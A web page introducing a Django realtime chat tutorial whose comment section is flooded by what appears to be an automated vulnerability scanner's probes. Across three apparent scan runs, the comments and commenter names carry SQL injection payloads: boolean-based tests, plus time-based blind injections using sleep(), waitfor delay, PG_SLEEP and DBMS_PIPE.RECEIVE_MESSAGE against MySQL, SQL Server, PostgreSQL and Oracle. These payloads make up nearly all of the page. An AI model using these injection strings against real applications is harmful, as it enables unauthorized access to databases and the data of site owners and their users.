Part one of one - Django Realtime Chat App Tutorial

Learn how to build a simple realtime chat application using Django, Web sockets, Channels and Redis.

Messages are stored in a database, so it's even possible to see old messages.

To connect with the backend, I use Web Sockets (Vanilla JavaScript). To add async support to Django, I use Channels.

Redis is used as a in-memory cache for Channels.

Comments

EFSArCBy | Jul 02, 26 08:53

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

-1 OR 2+662-662-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 08:54

-1 OR 2+517-517-1=0+0+0+1

EFSArCBy | Jul 02, 26 08:54

-1' OR 2+527-527-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 08:54

-1' OR 2+307-307-1=0+0+0+1 or 'UizbpGFY'='

EFSArCBy | Jul 02, 26 08:54

-1" OR 2+362-362-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 08:54

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 08:54

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 08:54

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 08:54

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 08:54

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:54

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:54

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:54

555caiUa8kh'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:54

555-1 OR 803=(SELECT 803 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:54

555-1) OR 468=(SELECT 468 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:54

555-1)) OR 538=(SELECT 538 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:54

555F3XOupT2' OR 466=(SELECT 466 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:54

555ZChZhubS') OR 327=(SELECT 327 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:54

555T0g8NufG')) OR 486=(SELECT 486 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:54

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 08:54

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555'"

EFSArCBy | Jul 02, 26 08:54

@@1i6iQ

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

-1 OR 2+748-748-1=0+0+0+1 -- | Jul 02, 26 08:54

555

-1 OR 2+780-780-1=0+0+0+1 | Jul 02, 26 08:54

555

-1' OR 2+965-965-1=0+0+0+1 -- | Jul 02, 26 08:54

555

-1' OR 2+878-878-1=0+0+0+1 or 'ACvOa6tS'=' | Jul 02, 26 08:54

555

-1" OR 2+262-262-1=0+0+0+1 -- | Jul 02, 26 08:54

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 08:54

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 08:54

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 08:54

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 08:54

555

EFSArCBycxgn0dxd'; waitfor delay '0:0:15' -- | Jul 02, 26 08:54

555

EFSArCByDStAgI1K' OR 221=(SELECT 221 FROM PG_SLEEP(15))-- | Jul 02, 26 08:54

555

EFSArCByc4vDNR3r') OR 794=(SELECT 794 FROM PG_SLEEP(15))-- | Jul 02, 26 08:54

555

EFSArCByrLyAF5ln')) OR 368=(SELECT 368 FROM PG_SLEEP(15))-- | Jul 02, 26 08:54

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy'" | Jul 02, 26 08:54

555

@@RYVKu | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 20, 26 09:52

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

-1 OR 2+954-954-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 09:53

-1 OR 2+832-832-1=0+0+0+1

EFSArCBy | Jul 20, 26 09:53

-1' OR 2+931-931-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 09:53

-1' OR 2+517-517-1=0+0+0+1 or '6D80vaKI'='

EFSArCBy | Jul 20, 26 09:53

-1" OR 2+255-255-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 09:53

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 20, 26 09:53

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 20, 26 09:53

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 20, 26 09:53

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 20, 26 09:53

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 09:53

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 09:53

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 09:53

5554JVJGHuu'; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 09:53

555-1 OR 429=(SELECT 429 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 09:53

555-1) OR 349=(SELECT 349 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 09:53

555-1)) OR 253=(SELECT 253 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 09:53

555QORSYC8u' OR 520=(SELECT 520 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 09:53

555NXMzmqaf') OR 746=(SELECT 746 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 09:53

555n6S82nMC')) OR 340=(SELECT 340 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 09:53

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 20, 26 09:53

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555'"

EFSArCBy | Jul 20, 26 09:53

@@HPSxh

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

-1 OR 2+173-173-1=0+0+0+1 -- | Jul 20, 26 09:53

555

-1 OR 2+528-528-1=0+0+0+1 | Jul 20, 26 09:53

555

-1' OR 2+400-400-1=0+0+0+1 -- | Jul 20, 26 09:53

555

-1' OR 2+706-706-1=0+0+0+1 or 'jqQqtBQy'=' | Jul 20, 26 09:53

555

-1" OR 2+729-729-1=0+0+0+1 -- | Jul 20, 26 09:53

555

if(now()=sysdate(),sleep(15),0) | Jul 20, 26 09:53

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 20, 26 09:53

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 20, 26 09:53

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 20, 26 09:53

555

EFSArCBysnRVwnHB'; waitfor delay '0:0:15' -- | Jul 20, 26 09:53

555

EFSArCByEXfj0v8d' OR 470=(SELECT 470 FROM PG_SLEEP(15))-- | Jul 20, 26 09:53

555

EFSArCBypSRdXSv3') OR 703=(SELECT 703 FROM PG_SLEEP(15))-- | Jul 20, 26 09:53

555

EFSArCBy2iqmHy9k')) OR 737=(SELECT 737 FROM PG_SLEEP(15))-- | Jul 20, 26 09:53

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy'" | Jul 20, 26 09:53

555

@@TixeV | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 20, 26 09:53

555

EFSArCBy | Jul 23, 26 12:44

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

-1 OR 2+983-983-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 12:45

-1 OR 2+671-671-1=0+0+0+1

EFSArCBy | Jul 23, 26 12:45

-1' OR 2+32-32-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 12:45

-1' OR 2+770-770-1=0+0+0+1 or 'HeAMnKwv'='

EFSArCBy | Jul 23, 26 12:45

-1" OR 2+343-343-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 12:45

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 23, 26 12:45

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 23, 26 12:45

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 23, 26 12:45

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 23, 26 12:45

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 12:45

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 12:45

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 12:45

555DZDR0IuJ'; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 12:45

555-1 OR 561=(SELECT 561 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 12:45

555-1) OR 991=(SELECT 991 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 12:45

555-1)) OR 569=(SELECT 569 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 12:45

555MBrWvW1D' OR 345=(SELECT 345 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 12:45

555p3IZPrpv') OR 101=(SELECT 101 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 12:45

555nW9XhgDz')) OR 574=(SELECT 574 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 12:45

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 23, 26 12:45

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555'"

EFSArCBy | Jul 23, 26 12:45

@@uOZTk

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

-1 OR 2+451-451-1=0+0+0+1 -- | Jul 23, 26 12:45

555

-1 OR 2+709-709-1=0+0+0+1 | Jul 23, 26 12:45

555

-1' OR 2+482-482-1=0+0+0+1 -- | Jul 23, 26 12:45

555

-1' OR 2+839-839-1=0+0+0+1 or 'VNrXdRK4'=' | Jul 23, 26 12:45

555

-1" OR 2+530-530-1=0+0+0+1 -- | Jul 23, 26 12:45

555

if(now()=sysdate(),sleep(15),0) | Jul 23, 26 12:45

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 12:45

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 12:45

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 12:45

555

EFSArCByKi53vT0C'; waitfor delay '0:0:15' -- | Jul 23, 26 12:45

555

EFSArCByMQ2jit8Q' OR 850=(SELECT 850 FROM PG_SLEEP(15))-- | Jul 23, 26 12:45

555

EFSArCByCXehbrMI') OR 760=(SELECT 760 FROM PG_SLEEP(15))-- | Jul 23, 26 12:45

555

EFSArCByxRMz5dEb')) OR 120=(SELECT 120 FROM PG_SLEEP(15))-- | Jul 23, 26 12:45

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy'" | Jul 23, 26 12:45

555

@@lW5kD | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

EFSArCBy | Jul 23, 26 12:45

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.